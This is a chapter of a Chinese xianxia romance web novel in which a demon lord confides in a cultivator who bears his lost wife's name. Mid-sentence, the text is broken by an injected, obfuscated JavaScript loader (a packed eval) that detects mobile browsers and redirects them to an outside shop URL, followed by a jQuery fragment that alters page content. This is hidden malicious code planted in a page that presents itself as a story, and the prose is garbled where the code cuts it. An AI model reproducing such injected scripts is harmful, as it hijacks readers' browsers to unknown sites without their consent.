14. 夫人
作品:《万人嫌也能做白月光吗》 裘府。
夜黑风高,万物沉寂。
安静许久的裘府也总算是迎来了它久等许久的客人,寂静的四周,一片落下悄然坠落,修长的手指捡起那树叶。
纤长的睫羽轻轻颤抖着,眸底的情绪,谁人都看不出。
元修慈也不知在想什么,只是觉得神色似乎已然走开。
下属不由得出声提醒:“尊上,那位结海楼的旧人到了。”
此话一出,元修慈方才从回忆走抽身,他手指缓缓松下,那树叶便随风散去,他微微颔首,轻声道了句。
“让她进来吧。”
下属颔首应下:“是。”
昏暗的室内,烛火摇曳,温热的光晕倒映在人的脸颊,平添上了几分暖意。
季移月落座在屏风对面,脑海不由得想起,不久之前,她在合欢宫的清乐楼,也是这样。
“阁下在想什么?”
似乎是察觉到了她的出神,对面的人,缓缓开口,语气慢条斯理,不急不慢。
“没什么。”
季移月敛眸,神色难以辩驳。
屏风对面的人,闻言似乎是轻笑了一声,微弱的笑意传来,让季移月眉宇不由得挑起。
“阁下的名字我有所耳闻,但我还是很好奇,为何要取与我夫人相同的名字?”
季移月沉默。
虽然早已做好了心理准备,但骤然听到元修慈这么说,还是很震撼啊。
季移月原以为,这样听起来就荒谬的事情,应该是旁人相传口误,但如今看起来,似乎是元修慈故意为之。
奇怪。
季移月蹙起眉头。
难道后面结海楼是有什么利可图,才让身为妖族尊上的元修慈撒下如此谎话。
就算如此,但结海楼如今都消失在修仙界的长河中,为何还要这样呢?
季移月久久没有开口,这也不由引得元修慈轻笑。
“怎么了?是怕我会害你吗?”
元修慈倏然开口,季移月只觉得如鲠在喉,她张了张嘴,觉得无论从什么地方开口,都显得有几分尴尬。
但元修慈却像是从季移月沉默的状态中,了悟了什么。
他笑了声,嗓音柔和,空添几分温和之感,与平时截然相反。
“你且安心,我与移月曾有誓言,会替她护着结海楼的弟子。”
说到“移月”时,元修慈还顿了下,语气几近缱绻。
季移月落在衣袖中的手,悄无声息蜷缩起来,昏暗的光晕中,脸颊微微发烫,他微不可察地深吸一口气。
她们到底有过什么誓言啊!
季移月眼神犹豫许久,才放弃纠结问道:“不知妖尊阁下,与移月尊者,是何时结契的?”
修仙界修士之间若是要结为道侣,是要禀明天地,结下契约的。
季移月真的不记得,自己什么时候与元修慈有过结契了。
元修慈不语了。
寂静在室内蔓延,微弱的烛火摇摇晃晃,坠落在季移月的眼眸。
她眨了眨眼,忽地,一阵冷风穿过,烛火也随之摇灭。
幽幽的月光穿堂而过,落在季移月的眼角眉梢,察觉到元修慈似乎不想回答,她顿了下,心境也随之镇定下来,启唇,换了个话题。
“魔族是为苍龙而来的吗?”
一语中的。
“……不愧是结海楼的弟子。”元修慈颇有种与有荣焉的态度,说,“苍龙的封印在裘府,这几日,我的确有感觉到苍龙气息的溢出。”
封印松动,苍龙气息溢出,处在封印地点裘府的元修慈,自然是第一时间就察觉到了。
“裘府的苍龙,说起来还与结海楼有几分渊源。”
季移月不解:“苍龙与结海楼?”
元修慈闻言,只是轻笑着一笔带过,似乎很是不愿多说。
“不过是条蠢龙罢了,仗着与我夫人有几次见面,就死皮赖脸的蠢货,要不是我夫人人美心善,宽宏大度,慈悲为怀……”
说着说着,季移月都能感觉到,元修慈话里那份怨念。
她轻嗽了声,提醒元修慈。
虽说季移月现在已经可以做到以旁观者的角度,平静接受元修慈每一句“夫人”,但季移月怀疑,若是不提醒元修慈,元修慈说不准会一直念叨下去。
元修慈被季移月的骤然出声打断,意识到自己方才的举止,不由得沉默了下,半晌,他又像是自顾自地思忖。
“合欢,妖族,还有魔族,自云涧到底有什么,值得他们前来。”
季移月冷静:“与妖族的交易,看来并没有涉及裘离风的计划。”
否则元修慈不会这样不知情。
元修慈轻笑,漫不经心说:“他只是让我来解毒,不过那裘老夫人中的是雪域的咒,并不需要我做什么。”
不过是想借妖族的势,将自云涧这潭水搅得更浑罢了。
季移月沉默了下,又问:“裘离风给了你什么?”
元修慈倒也不隐瞒:“结海楼的地契。”
季移月一怔,她下意识接话:“可结海楼不是……”
元修慈含笑的嗓音幽幽传来。
“是啊,沧海桑田,云海平结海灭,那一片也成了荒地,我遍寻许久,才确认了结海楼原在的地方。”
他顿了顿,又带着期许说。
“我本以为还要许久才能重建结海楼,没想到你居然来了,有你在,想必结海楼的重建会更快几分。”
季移月已经被元修慈的话弄愣了。
元修慈却像是没有察觉到季移月的停顿,自顾自继续说着:“她从前最重视的,便是结海楼了,这么多年来,我一直想为她重建结海楼,如今,总算是能落下这第一步棋了。”
季移月闻言,神色虽有疑惑,但心头却不由得悸动。
她不禁怀疑,是否真的是自己将元修慈遗忘。
“罢了。”元修慈轻叹一声,说,“结海楼的重建指日可待,今日你我暂且不论此事,你既已晓得自云涧这趟浑水之深,便速速离去吧。”
季移月瞬间了然元修慈话里的意思。。
“你是要我离开自云涧?”
“祭龙日应该就是他们动手之日,这浑水到底也有多深,谁也不清楚,我会安排你先一步离去,妖族会护你平安的。”
季移月:“那你呢?”
听元修慈话里的意思,他并不打算离去。
元修慈笑道:“魔族何为,合欢何为,雪域何为,这些,我通通都不在乎,我要的只是结海楼,只是结海楼弟子的平安。”
“结海楼当真如此重要吗?”
“这是我答应过移月的。”元修慈沉声,“况且,你不是也一样吗,若是你心中没有结海楼,对当年的事不曾耿耿于怀,又何必带上她的名字。”
季移月不语,她沉默片刻后,忽地开口。
“但我并不打算就此离去。”
她缓缓站起身来,目光越过绣满花纹的屏障,落在那道隐隐约约的人影身上,眼神坚决,“我答应了朋友,会留在自云涧,会帮她。”
“裘家那孩子吗?”元修慈稍作思考,便明白了季移月说的是何人,说,“那孩子并不单纯,从中州死里逃生到自云涧,靠的可不止是侥幸。”
从中州大族出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223918|197244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人,能有几个全然单纯无辜的。
对季移月,到底是几分真心几分利用,他明白,她也明白。
“……我知道。”季移月不只是想到了什么,骤然轻笑一声,说,“但就算真的有那一日,我也能承受。”
元修慈垂眸,姣好的面容在昏暗的烛火下隐隐约约,始终看不真切,他抬眸,幽深的瞳孔倒映出随风而起的纱幔。
“好吧,结海楼的旧人,既然你执意如此,我会帮你。”
季移月嘴唇翕动,本还想说些什么,但随即又意识到了什么,将盘旋嘴边的话,又咽了回去。
“……多谢。”
元修慈轻轻端起茶杯,苦涩的茶水顺着唇齿蔓延入喉,他忽地有一瞬间产生了恍惚。
顿了顿,元修慈说。
“你的声音,有几分像她。”
季移月心底漏了一瞬,但却还是低垂着眼帘,没有开口。
元修慈似乎对她的沉默并不在意,他轻柔在嗓音融入深沉的夜色中,荡起微弱的风波。
“不过,我知道,所有人都无法代替她。”
那样灼热的,耀眼的存在,即便卑劣的只敢躲在角落之人,朝她伸手,也会被回望。
只是,那过于滚烫的温度,不曾想,最先一步灼烧的,竟是她自己。
可惜她不是妖族,不是凤凰,不会涅槃。
炙热的火焰只会将她吞吃地一干二净,而后连同残渣扔向无边无际的深海。
元修慈忍不住阖上双眸,轻叹出一口气,从始至终平静的声线也随之出现了一丝颤抖的迹象。
“我一直以为,只有我还这样念着她。”他含笑说,“倒也不曾想,竟还有你这样的结海楼的旧人,戴着她的名字,行着她的意志。”
许久没有似今夜这般心软了。
就连元修慈自己都意识到了这点,他无奈对自己叹了口气,可又想到那熟悉的声音,心头到底还是软了下去。
“祭龙日无论发生什么,你都不要理会,只管带着裘府那孩子和你们想要的离开。”
只是,元修慈没有想到的是,在他说完这句话后,对面的人迟迟没有反应,如果不是他的妖力感知到对面还有人在,元修慈都要以为这自称“季移月”的修士,已然离去。
他眉头微微一挑。
“怎么,不满意吗?”元修慈蹙眉,想着这是移月的弟子,故又耐心解释,“并非是我觉得你实力不够,只是这水太浑……”
季移月在心底轻叹出一口气,低垂的眼帘下,一双入墨眼眸,瞧不出一丝情绪。
“你旧伤在身,若说离开,该是你先离开。”
刹那间,元修慈眼神忽变,他一改方才镇定自若的模样,厉声质问。
“你怎知我身上旧伤?”
季移月不语。
她进来便察觉到了,元修慈的修为似乎很是不稳,方才情绪波动,妖力甚至不受控制地泄露出来。
“……你到底是谁?”元修慈心口忽地一滞,他沉声。
“我是季移月,只是季移月。”
元修慈瞳孔颤抖,似乎意识到了什么,不再佯装平静,骤然起身,抬起修长的手指,一把掀开了那隔着两人的屏风。
可在下一刻,元修慈呆愣在原地,他静静看着眼前,空空荡荡的座位。
方才,他明明感觉到这里是有人的。
“尊上!尊上!怎么了?”
妖族下属匆忙冲进屋内。
看着元修慈沉默不语的模样,心底忽地升起不妙的感觉,他上前一步,想要查看元修慈的状况。
却见元修慈抬手,示意他不用再上前。

